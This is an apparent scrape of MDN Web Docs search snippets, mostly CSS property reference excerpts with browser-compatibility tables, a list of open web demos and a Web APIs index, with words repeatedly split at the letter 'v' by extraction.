visible.
... <div class="radial-ellipse-side"></div> div { width: 240px; height: 100px; } .radial-ellipse-side { background: radial-gradient(ellipse closest-side, red, yellow 10%, #1e90ff 50%, beige); } example: farthest-corner for ellipses this example is similar to the pre
vious one, except that its size is specified as farthest-corner, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.
...deg, rgba(255, 0, 0, 0.5) 30px, rgba(255, 153, 0, 0.5) 60px, rgba(255, 255, 0, 0.5) 90px, rgba(0, 255, 0, 0.5) 120px, rgba(0, 0, 255, 0.5) 150px, rgba(75, 0, 130, 0.5) 180px, rgba(238, 130, 238, 0.5) 210px, rgba(255, 0, 0, 0.5) 230px), repeating-linear-gradient(23deg, red 50px, orange 100px, yellow 150px, green 200px, blue 250px, indigo 300px,
violet 350px, red 370px); } plaid gradient to create plaid we include several overlapping gradients with transparency.
CSS Logical Properties and Values - CSS: Cascading Style Sheets
css logical properties and values is a module of css introducing logical properties and values that pro
vide the ability to control layout through logical, rather than physical, direction and dimension mappings.
... the module also defines logical properties and values for properties pre
viously defined in css 2.1.
...ne-end padding-inline-start properties for floating and positioning clear (inline-end and inline-start keywords) float (inline-end and inline-start keywords) inset inset-block inset-block-end inset-block-start inset-inline inset-inline-end inset-inline-start other properties caption-side (inline-end and inline-start keywords) overflow-block overflow-inline overscroll-beha
vior-block overscroll-beha
vior-inline resize (block and inline keywords) text-align (end and start keywords) deprecated properties offset-block-end (now inset-block-end ) offset-block-start (now inset-block-start ) offset-inline-end (now inset-inline-end ) offset-inline-start (now inset-inline-start ) guides basic concepts of logical properties and values logi...
CSS Overflow - CSS: Cascading Style Sheets
the css overflow module contains the features of css relating to scrollable overflow handling in
visual media.
...this is the content appearing outside of the box for which scrolling mechanisms need to be pro
vided.
... working draft changed syntax to allow one or two keywords instead of only one css level 2 (re
vision 1)the definition of 'overflow' in that specification.
Basic concepts of CSS Scroll Snap - CSS: Cascading Style Sheets
however, it can cause problems if the content is larger than you expect — users may find themselves in the frustrating position of never being able to scroll and
view a certain point in the content.
...in the below example you can change the value of scroll-snap-align to see how this changes the scroll beha
vior.
... this is potentially useful if you have a fixed element, for example a na
vigation bar, which could end up overlapping scrolled content.
Questions about CSS - CSS: Cascading Style Sheets
css gives more control over the appearance of a web page to the page creator than to the browser designer or the
viewer.
... with css, the sources of style definition for a given document element are in this order of precedence: the style attribute on an indi
vidual element tag the style element that defines a specific style sheet containing style declarations or a link element that links to a separate document containing the style element.
... an imported style sheet, using the css @import notation to automatically import and merge an external style sheet with the current style sheet style attributes specified by the
viewer to the browser the default style sheet assumed by the browser in general, the web page creator's style sheet takes precedence, but it's recommended that browsers pro
vide ways for the
viewer to override the style attributes in some respects.
Sticky footers - CSS: Cascading Style Sheets
a sticky footer pattern is one where the footer of your page "sticks" to the bottom of the
viewport in cases where the content is shorter than the
viewport height.
... requirements the sticky footer pattern needs to meet the following requirements: footer sticks to the bottom of the
viewport when content is short.
... if the content of the page extends past the
viewport bottom, the footer then sits below the content as normal.
Syntax - CSS: Cascading Style Sheets
a css declaration block is
visualized in the diagram below.
... a css ruleset (or rule) is
visualized in the diagram below.
...these statements only apply if a specific condition is matched: the @media at-rule content is applied only if the de
vice on which the browser runs matches the expressed condition; the @document at-rule content is applied only if the current page matches some conditions, and so on.
CSS Tutorials - CSS: Cascading Style Sheets
media queries the size of the screens, or the kind of de
vices like touchscreens or printed sheets vary greatly nowadays.
... media queries are the fundamental building blocks in achie
ving web sites that render everywhere in their best quality.
...though multi-column text is not that common on de
vices like screens, this is particularly useful on printed pages, or for indexes.
attr() - CSS: Cascading Style Sheets
)where <type-or-unit> = string | color | url | integer | number | length | angle | time | frequency | cap | ch | em | ex | ic | lh | rlh | rem | vb |
vi | vw | vh | vmin | vmax | mm | q | cm | in | pt | pc | px | deg | grad | rad | turn | ms | s | hz | khz | % examples content property html <p data-foo="hello">world</p> css [data-foo]::before { content: attr(data-foo) " "; } result <color> value html <div class="background" data-background="lime">background expected to be red if your browser does not support advanced usage of at...
...property values invol
ving attr() are valid at parse time, and the validation of the attribute value is deferred to computed value time.
... css level 2 (re
vision 1)the definition of 'attr()' in that specification.
background-attachment - CSS: Cascading Style Sheets
the background-attachment css property sets whether a background image's position is fixed within the
viewport, or scrolls with its containing block.
... values fixed the background is fixed relative to the
viewport.
... css level 2 (re
vision 1)the definition of 'background-attachment' in that specification.
background-color - CSS: Cascading Style Sheets
it is rendered behind any background-image that is specified, although the color will still be
visible through any transparency in the image.
... accessibility concerns it is important to ensure that the contrast ratio between the background color and the color of the text placed over it is high enough that people experiencing low
vision conditions will be able to read the content of the page.
... though technically remo
ving the transparent keyword, this doesn't change anything as it has been incorporated as a true <color> backgrounds level 3 github issues css level 2 (re
vision 1)the definition of 'background-color' in that specification.
background-image - CSS: Cascading Style Sheets
accessibility concerns browsers do not pro
vide any special information on background images to assistive technology.
... candidate recommendation from css2 re
vision 1, the property has been extended to support multiple backgrounds and any <image> css data type.
... css level 2 (re
vision 1)the definition of 'background-image' in that specification.
background-position-x - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-xchrome full support 1edge full support 12firefox full support 49ie full support 6opera full suppor...
...t 15safari full support 1web
view android full support ≤37chrome android full support 18firefox android full support 49opera android full support 18safari ios full support 1samsung internet android full support 1.0two-value syntax (support for offsets from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie ...
... full support 9opera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 49opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support ...
background-position-y - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbackground-position-ychrome full support 1edge full support 12firefox full support 49ie full support 6opera full suppor...
...t 15safari full support 1web
view android full support ≤37chrome android full support 18firefox android full support 49opera android full support 14safari ios full support 1samsung internet android full support 1.0two-value syntax (support for offsets from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie ...
... full support 9opera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 49opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support ...
border-bottom-width - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'border-bottom-width' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-bottom-widthchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support ...
... 3.5safari full support 1web
view android full support 2.3chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support see also the other border-width-related css properties: border-left-width, border-right-width, border-top-width, and border-width.
border-left-style - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'border-left-style' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-left-stylechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes prior to firefox 50, border styles of rounded corners (with border-radius) were...
...this has been fixed in firefox 50.ie full support 5.5opera full support 9.2safari full support 1web
view android full support 2.3chrome android full support 18firefox android full support 14notes full support 14notes notes prior to firefox 50, border styles of rounded corners (with border-radius) were always rendered as if border-bottom-style was solid.
border-left - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'border-left' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-leftchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support ...
... 3.5safari full support 1web
view android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
border-radius - CSS: Cascading Style Sheets
note: as with any shorthand property, indi
vidual sub-properties cannot inherit, such as in border-radius:0 0 inherit inherit, which would partially override existing definitions.
... instead, the indi
vidual longhand properties have to be used.
...the beha
vior on internal table elements is undefined for the moment..
border-right-style - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'border-right-style' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-right-stylechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes prior to firefox 50, border styles of rounded corners (with border-radius) wer...
...this has been fixed in firefox 50.ie full support 5.5opera full support 9.2safari full support 1web
view android full support ≤37chrome android full support 18firefox android full support 14notes full support 14notes notes prior to firefox 50, border styles of rounded corners (with border-radius) were always rendered as if border-bottom-style was solid.
border-right - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'border-right' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-rightchrome full support 1edge full support 12firefox full support 1ie full support 5.5opera full support ...
... 9.2safari full support 1web
view android full support ≤37chrome android full support 18firefox android full support 14opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
border-top - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'border-top' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetborder-topchrome full support 1edge full support 12firefox full support 1ie full support 4opera full support ...
... 3.5safari full support 1web
view android full support 1chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support ...
bottom - CSS: Cascading Style Sheets
d elementsinheritednopercentagesrefer to the height of the containing blockcomputed valueif specified as a length, the corresponding absolute length; if specified as a percentage, the specified value; otherwise, autoanimation typea length, percentage or calc(); formal syntax <length> | <percentage> | auto examples absolute and fixed positioning this example demonstrates the difference in beha
vior of the bottom property, when position is absolute versus fixed.
... working draft adds beha
vior for sticky positioning.
... css level 2 (re
vision 1)the definition of 'bottom' in that specification.
box-flex-group - CSS: Cascading Style Sheets
when di
viding up the box's extra space, the browser first considers all elements within the first flex group.
...if the space of all flexible children within the group has been increased to the maximum, the process repeats for the children within the next flex group, using any space left over from the pre
vious flex group.
... once there are no more flex groups, and there is still space remaining, the extra space is di
vided within the containing box according to the box-pack property.
box-lines - CSS: Cascading Style Sheets
this beha
vior can be changed using the box-lines property.
... if the children in a horizontal box still do not fit on a line after being reduced to their minimum widths, then children are moved one by one onto a new line, until the elements remaining on the pre
vious line fit.
...for calculating the height of a line, margins with a computed value of auto should be treated as ha
ving a value of 0.
caret-color - CSS: Cascading Style Sheets
the caret-color css property sets the color of the insertion caret, the
visible marker where the next character typed will be inserted.
...for example, many browsers have a “na
vigation caret,” which acts similarly to an insertion caret but can be moved around in non-editable text.
...this is generally currentcolor, but the user agent may choose a different color to ensure good
visibility and contrast with the surrounding content, taking into account the value of currentcolor, the background, shadows, and other factors.
contain - CSS: Cascading Style Sheets
this allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the dom and not the entire page, leading to ob
vious performance benefits.
... this property is useful on pages that contain a lot of widgets that are all independent, as it can be used to prevent each widget's internals from ha
ving side effects outside of the widget's bounding-box.
... layout indicates that nothing outside the element may affect its internal layout and
vice versa.
cross-fade() - CSS: Cascading Style Sheets
if the result is greater than 0%, the result is then di
vided equally between all images with omitted percentages.
...the result, if greater than 0, is then di
vided equally between all images with omitted percentages.
... accessibility concerns browsers do not pro
vide any special information on background images to assistive technology.
<dimension> - CSS: Cascading Style Sheets
3sec the seconds unit is abbre
viated "s" not "sec".
... editor's draft adds cap, ic, lh, rlh,
vi, vb css values and units module level 3the definition of '<dimension>' in that specification.
... candidate recommendation adds ch, rem, vw, vw, vmin, vmax, q css level 2 (re
vision 1)the definition of '<dimension>' in that specification.
direction - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'direction' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdirectionchrome full support 2edge full support 12firefox full support 1ie full support 5.5opera full support 9.2safari full supp...
...ort 1web
view android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support ...
<display-box> - CSS: Cascading Style Sheets
to have an element take up the space that it would normally take, but without actually rendering anything, use the
visibility property instead.
...this is incorrect beha
vior according to the csswg specification.
... display: none html <p>
visible text</p> <p class="secret">in
visible text</p> css p.secret { display: none; } result display: contents in this example the outer <div> has a 2-pixel red border and a width of 300px.
<easing-function> - CSS: Cascading Style Sheets
the steps() class of easing functions the steps() functional notation defines a step function di
viding the domain of output values in equidistant steps.this subclass of step functions are sometimes also called staircase functions.
... examples easing function comparison this example creates an animation that can be started and stopped again using the pro
vided button, and a select menu that can be used to switch its easing function between the available keywords, plus a couple of cubic-bezier() and steps() options.
... the idea is to pro
vide an easy comparison between different easing functions.
font-family - CSS: Cascading Style Sheets
<generic-name> generic font families are a fallback mechanism, a means of preser
ving some of the style sheet author's intent when none of the specified fonts are available.
...because typographic traditions vary widely across the world, this generic is pro
vided for typefaces that don't map cleanly into the other generics.
... candidate recommendation no significant change css level 2 (re
vision 1)the definition of 'font-family' in that specification.
font-optical-sizing - CSS: Cascading Style Sheets
the font-optical-sizing css property sets whether text rendering is optimized for
viewing at different sizes.
... syntax /* keyword values */ font-optical-sizing: none; font-optical-sizing: auto; /* default */ /* global values */ font-optical-sizing: inherit; font-optical-sizing: initial; font-optical-sizing: unset; values none the browser will not modify the shape of glyphs for optimal
viewing.
... auto the browser will modify the shape of glyphs for optimal
viewing.
font-style - CSS: Cascading Style Sheets
when the specified style is not available, both italic and oblique faces are simulated by artificially sloping the glyphs of the regular face (use font-synthesis to control this beha
vior).
... html <header> <input type="range" id="slant" name="slant" min="-90" max="90" /> <label for="slant">slant</label> </header> <div class="container"> <p class="sample">...it would not be wonderful to meet a megalosaurus, forty feet long or so, waddling like an elephantine lizard up holborn hill.</p> </div> css /* amstelvaralpha-vf is created by da
vid berlow (https://github.com/typenetwork/amstelvar) and is used here under the terms of its license: https://github.com/typenetwork/amstelvar/blob/master/ofl.txt */ @font-face { src: url('https://mdn.mozillademos.org/files/16044/amstelvaralpha-vf.ttf'); font-family:'amstelvaralpha'; font-style: normal; } label { font: 1rem monospace; } .container { max-height: 150px; overflow: scrol...
... candidate recommendation no change css level 2 (re
vision 1)the definition of 'font-style' in that specification.
font-variant-alternates - CSS: Cascading Style Sheets
stylistic() this function enables stylistic alternates for indi
vidual characters.
...it is similar to styleset(), but doesn't create coherent glyphs for a set of characters; indi
vidual characters will have independent and not necessarily coherent styles.
...be aware that some existing fonts don't follow this ad
vice.
font-variant-caps - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-capschrome full support 52edge full support 79firefox full support 34 full support 34 no support ...
...to change preferences in firefox,
visit about:config.ie no support noopera full support 39safari no support noweb
view android full support 52chrome android full support 52firefox android full support 34 full support 34 no support 24 — 34disabled disabled from version 24 until version 34...
...to change preferences in firefox,
visit about:config.opera android full support 41safari ios no support nosamsung internet android full support 6.0legend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
font-variant-position - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfont-variant-positionchrome no support noedge no support nofirefox full support 34 full support 34 no support ...
...to change preferences in firefox,
visit about:config.ie no support noopera no support nosafari no support noweb
view android no support nochrome android no support nofirefox android full support 34 full support 34 no support 24 — 34disabled disabled from version 24 until version 34 (excl...
...to change preferences in firefox,
visit about:config.opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature.
<gradient> - CSS: Cascading Style Sheets
interpolation as with any interpolation invol
ving colors, gradients are calculated in the alpha-premultiplied color space.
...(be aware that older browsers may not use this beha
vior when using the transparent keyword.) examples linear gradient example a simple linear gradient.
... <div class="linear-gradient">linear gradient</div> div { width: 240px; height: 80px; } .linear-gradient { background: linear-gradient(to right, red, orange, yellow, green, blue, indigo,
violet); } radial gradient example a simple radial gradient.
image() - CSS: Cascading Style Sheets
accessibility concerns browsers do not pro
vide any special information on background images to assistive technology.
... mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | w3c understanding wcag 2.0 this feature can help improve accessibility by pro
viding a fallback color when an image fails to load.
... pro
viding fallback images .help::before { content: image("try.webp", "try.svg", "try.gif"); } in this example, the browser will display an image as generated content before the content of the element with the class of help.
<integer> - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of '<integer>' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet<integer>chrome full support 1edge full support 12firefox full support 1ie full support 3opera full support ...
... 3.5safari full support 1web
view android full support ≤37chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0legend full support full support ...
object-position - CSS: Cascading Style Sheets
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-positionchrome full support 31edge full support 16firefox full support 36ie no support noopera full support ...
... 19 full support 19 full support 11.6prefixed prefixed implemented with the vendor prefix: -o-safari full support 10web
view android full support 4.4.3chrome android full support 31firefox android full support 36opera android full support 19 full support 19 full support 12prefixed prefixed implemented with the vendor prefix: -o-safari ios full support ...
...fox no support 36 — 70ie no support noopera no support 19 — 55 no support 19 — 55 full support 11.6prefixed prefixed implemented with the vendor prefix: -o-safari full support 10web
view android no support 4.4.3 — 68chrome android no support 31 — 68firefox android full support 36opera android no support 19 — 48 no support 19 — 48 full support 12prefixed prefixed implemented with ...
opacity - CSS: Cascading Style Sheets
value meaning 0 the element is fully transparent (that is, in
visible).
... 1 (default value) the element is fully opaque (
visually solid).
...for example: background: rgba(0, 0, 0, 0.4); accessibility concerns if text opacity is adjusted, it is important to ensure that the contrast ratio between the color of the text and the background the text is placed over is high enough that people experiencing low
vision conditions will be able to read the content of the page.
orphans - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'orphans' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorphanschrome full support 25edge full support 12firefox no support noie full support 8opera full support 9.2safari full support ...
... 1.3web
view android full support ≤37chrome android full support 25firefox android no support noopera android full support 14safari ios full support 1samsung internet android full support 1.5legend full support full support no support no support see also widows paged media ...
outline-offset - CSS: Cascading Style Sheets
formal definition initial value0applies toall elementsinheritednocomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea length formal syntax <length> examples setting outline offset in pixels html <p>gallia est omnis di
visa in partes tres.</p> css p { outline: 1px dashed red; outline-offset: 10px; background: yellow; border: 1px solid blue; margin: 15px; } result specifications specification status comment css basic user interface module level 3the definition of 'outline-offset' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetoutline-offsetchrome full support 1edge full support 15firefox full support 1.5ie no support noopera full support 9.5safari full sup...
...port 1.2web
view android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support full support no support no support ...
overflow-anchor - CSS: Cascading Style Sheets
the overflow-anchor css property pro
vides a way to opt out of the browser's scroll anchoring beha
vior, which adjusts scroll position to minimize content shifts.
... scroll anchoring beha
vior is enabled by default in any browser that supports it.
... therefore, changing the value of this property is typically only required if you are experiencing problems with scroll anchoring in a document or part of a document and need to turn the beha
vior off.
page-break-after - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'page-break-after' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpage-break-afterchrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the values avoid, left, and right are unsupported.ie full support...
... 4opera full support 7safari full support 1.2web
view android full support 37chrome android full support 18firefox android full support 4notes full support 4notes notes the values avoid, left, and right are unsupported.opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support ...
page-break-before - CSS: Cascading Style Sheets
css level 2 (re
vision 1)the definition of 'page-break-before' in that specification.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpage-break-beforechrome full support 1edge full support 12firefox full support 1notes full support 1notes notes the values avoid, left, and right are unsupported.ie full suppor...
...t 4opera full support 7safari full support 1.2web
view android full support 37chrome android full support 18firefox android full support 4notes full support 4notes notes the values avoid, left, and right are unsupported.opera android full support 14safari ios full support 1samsung internet android full support 1.0legend full support...
paint() - CSS: Cascading Style Sheets
parameters optional additional parameters to pass to the paintworklet examples you can pass additional arguments
via the css paint() function.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpaint()chrome full support 65edge full support 79firefox no support noie no support noopera full support ...
... 52safari no support noweb
view android full support 65chrome android full support 65firefox android no support noopera android full support 47safari ios no support nosamsung internet android full support 9.2legend full support full support no support no support see also paintworklet css painting api using the css painting api ...
place-self - CSS: Cascading Style Sheets
the place-self css shorthand property allows you to align an indi
vidual item in both the block and inline directions at once (i.e.
... for grid items, this keyword leads to a beha
vior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start.
...its beha
vior depends on the layout model, as described for justify-self.
repeating-conic-gradient() - CSS: Cascading Style Sheets
radial and conic gradient syntax pro
vides for positioning the center of the gradient anywhere within, or even outside, the image.
... accessibility concerns browsers do not pro
vide any special information on background images to assistive technology.
...while it is possible to create pie charts, checkerboards, and other effects with conic gradients, css images pro
vide no native way to assign alternative text, and therefore the image represented by the conic gradient will not be accessible to screen reader users.
repeating-radial-gradient() - CSS: Cascading Style Sheets
thus, the position of each ending color stop coincides with a starting color stop; if the color values are different, this will result in a sharp
visual transition, which can be mitigated by repeating the first color as the last color.
...a percentage of 0%, or a length of 0, represents the center of the gradient; the value 100% represents the intersection of the ending shape with the
virtual gradient ray.
... percentage values in between are linearly positioned on the
virtual gradient ray.
rotate - CSS: Cascading Style Sheets
the rotate css property allows you to specify rotation transforms indi
vidually and independently of the transform property.
... this maps better to typical user interface usage, and saves ha
ving to remember the exact order of transform functions to specify in the transform property.
... div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .rotate { transition: rotate 1s; } div:hover .rotate { rotate: 1 -0.5 1 180deg; } result specifications specification status comment css transforms level 2the definition of 'indi
vidual transforms' in that specification.
scale - CSS: Cascading Style Sheets
the scale css property allows you to specify scale transforms indi
vidually and independently of the transform property.
... this maps better to typical user interface usage, and saves ha
ving to remember the exact order of transform functions to specify in the transform value.
...: sans-serif; } div { width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .scale { transition: scale 1s; } div:hover .scale { scale: 2 0.7; } result specifications specification status comment css transforms level 2the definition of 'indi
vidual transforms' in that specification.
scroll-snap-type-x - CSS: Cascading Style Sheets
/* keyword values */ scroll-snap-type-x: none; scroll-snap-type-x: mandatory; scroll-snap-type-x: proximity; /* global values */ scroll-snap-type-x: inherit; scroll-snap-type-x: initial; scroll-snap-type-x: unset; syntax values none when the
visual
viewport of this scroll container is scrolled horizontally, it must ignore snap points.
... mandatory the
visual
viewport of this scroll container will rest on a snap point if it isn't currently scrolled horizontally.
... proximity the
visual
viewport of this scroll container may come to rest on a snap point if it isn't currently scrolled horizontally considering the user agent's scroll parameters.
scroll-snap-type-y - CSS: Cascading Style Sheets
/* keyword values */ scroll-snap-type-y: none; scroll-snap-type-y: mandatory; scroll-snap-type-y: proximity; /* global values */ scroll-snap-type-y: inherit; scroll-snap-type-y: initial; scroll-snap-type-y: unset; syntax values none when the
visual
viewport of this scroll container is scrolled vertically, it must ignore snap points.
... mandatory the
visual
viewport of this scroll container will rest on a snap point if it isn't currently scrolled vertically.
... proximity the
visual
viewport of this scroll container may come to rest on a snap point if it isn't currently scrolled vertically considering the user agent's scroll parameters.
scroll-snap-type - CSS: Cascading Style Sheets
ne; scroll-snap-type: x; scroll-snap-type: y; scroll-snap-type: block; scroll-snap-type: inline; scroll-snap-type: both; /* optional mandatory | proximity*/ scroll-snap-type: x mandatory; scroll-snap-type: y proximity; scroll-snap-type: both mandatory; /* etc */ /* global values */ scroll-snap-type: inherit; scroll-snap-type: initial; scroll-snap-type: unset; syntax values none when the
visual
viewport of this scroll container is scrolled, it must ignore snap points.
... mandatory the
visual
viewport of this scroll container will rest on a snap point if it isn't currently scrolled.
... proximity the
visual
viewport of this scroll container may come to rest on a snap point if it isn't currently scrolled considering the user agent's scroll parameters.
<transform-function> - CSS: Cascading Style Sheets
translation (mo
ving) translate() translates an element on the 2d plane.
... examples transform function comparison the following example pro
vides a 3d cube created from dom elements and transforms, and a select menu allowing you to choose different transform functions to transform the cube with, so you can compare the effects of the different types.
...x; height: 200px; padding: 50px; background-image: linear-gradient(135deg, white, cyan, white); } #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-
visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg) translatez(50px); } .left { background: rgba(0,0,210,.7); transform: rotatey(-90deg) translatez(...
transition-timing-function - CSS: Cascading Style Sheets
the step timing functions di
vides the input time into a specified number of intervals that are equal in length.
...however, some animations can be problematic for people with cognitive concerns such as attention deficit hyperacti
vity disorder (adhd) and certain kinds of motion can be a trigger for vestibular disorders, epilepsy, and migraine and scotopic sensiti
vity.
... consider pro
viding a mechanism for pausing or disabling animation, as well as using the reduced motion media query to create a complimentary experience for users who have expressed a preference for no animated experiences.
translate - CSS: Cascading Style Sheets
the translate css property allows you to specify translation transforms indi
vidually and independently of the transform property.
... this maps better to typical user interface usage, and saves ha
ving to remember the exact order of transform functions to specify in the transform value.
...{ width: 150px; margin: 0 auto; } p { padding: 10px 5px; border: 3px solid black; border-radius: 20px; width: 150px; font-size: 1.2rem; text-align: center; } .translate { transition: translate 1s; } div:hover .translate { translate: 200px 50px; } result specifications specification status comment css transforms level 2the definition of 'indi
vidual transforms' in that specification.
<url> - CSS: Cascading Style Sheets
to alle
viate the confusion, css level 3 returned to the narrower, initial definition.
... candidate recommendation no significant change from css level 2 (re
vision 1).
... css level 2 (re
vision 1)the definition of '<uri>' in that specification.
white-space - CSS: Cascading Style Sheets
break-spaces the beha
vior is identical to that of pre-wrap, except that: any sequence of preserved white space always takes up space, including at the end of the line.
... the following table summarizes the beha
vior of the various white-space values: new lines spaces and tabs text wrapping end-of-line spaces normal collapse collapse wrap remove nowrap collapse collapse no wrap remove pre preserve preserve no wrap preserve pre-wrap preserve preserve wrap hang pre-line preserve collapse wrap remove break-spaces preserve preserve wrap wrap ...
... css level 2 (re
vision 1)the definition of 'white-space' in that specification.
Demos of open web technologies
2d graphics canvas blob sallad: an interactive blob using javascript and canvas (code demos) 3d raycaster processing.js p5js 3d on 2d canvas minipaint: image editor (source code) zen photon garden (source code) multi touch in canvas demo (source code) svg bubblemenu (
visual effects and interaction) html transformations using foreignobject (
visual effects and transforms) phonetics guide (interactive) 3d objects demo (interactive) blobular (interactive)
video embedded in svg (or use the local download) summer html image map creator (source code)
video
video 3d animation "mozilla constantly evol
ving"
video 3d animation "floating dance" streaming anime,...
... mo
vie trailer and inter
view billy's browser firefox flick
virtual barber shop transformers mo
vie trailer a scanner darkly mo
vie trailer (with built in controls) events firing and volume control dragable and sizable
videos 3d graphics webgl web audio fireworks ioquake3 (source code) escher puzzle (source code) kai 'opua (source code)
virtual reality the polar sea (source code) sechelt fly-through (source code) css css zen garden css floating logo "mozilla" paperfold css blockout rubik's cube pure css slides planetarium (source code) loader with blend modes text reveal with clip-path ambient shadow with custom properties luminiscent
vial css-based single page application (source code) transformations impress.js (source code) games ioquake3 (sourc...
...e code) kai 'opua (source code) web apis notifications api html5 notifications (source code) web audio api web audio fireworks oscope.js - javascript oscilloscope html5 web audio showcase (source code) html5 audio
visualizer (source code) graphical filter editor and
visualizer (source code) file api slide my text - presentation from plain text files web workers web worker fractals photo editor coral generator raytracer hotcold touch typing ...
Guide to Web APIs - Developer guides
on this page you'll find a complete list of all of the apis pro
vided by the full web technology stack.
...ole apicredential management apiddomeencoding apiencrypted media extensionsffetch apifile system api frame timing apifullscreen apiggamepad api geolocation apihhtml drag and drop apihigh resolution timehistory apiiimage capture apiindexeddbintersection observer apillong tasks api mmedia capabilities api media capture and streamsmedia session apimedia source extensions mediastream recordingnna
vigation timingnetwork information api ppage
visibility apipayment request apiperformance apiperformance timeline apipermissions apipointer eventspointer lock apiproximity events push api rresize observer apiresource timing apisserver sent eventsser
vice workers apistoragestorage access apistreams ttouch eventsuurl apiv
vibration api
visual
viewport wweb animationsweb audio apiweb authentication a...
...piweb crypto apiweb notificationsweb storage apiweb workers apiwebglwebrtcwebvttwebxr de
vice apiwebsockets api ...
Creating and triggering events - Developer guides
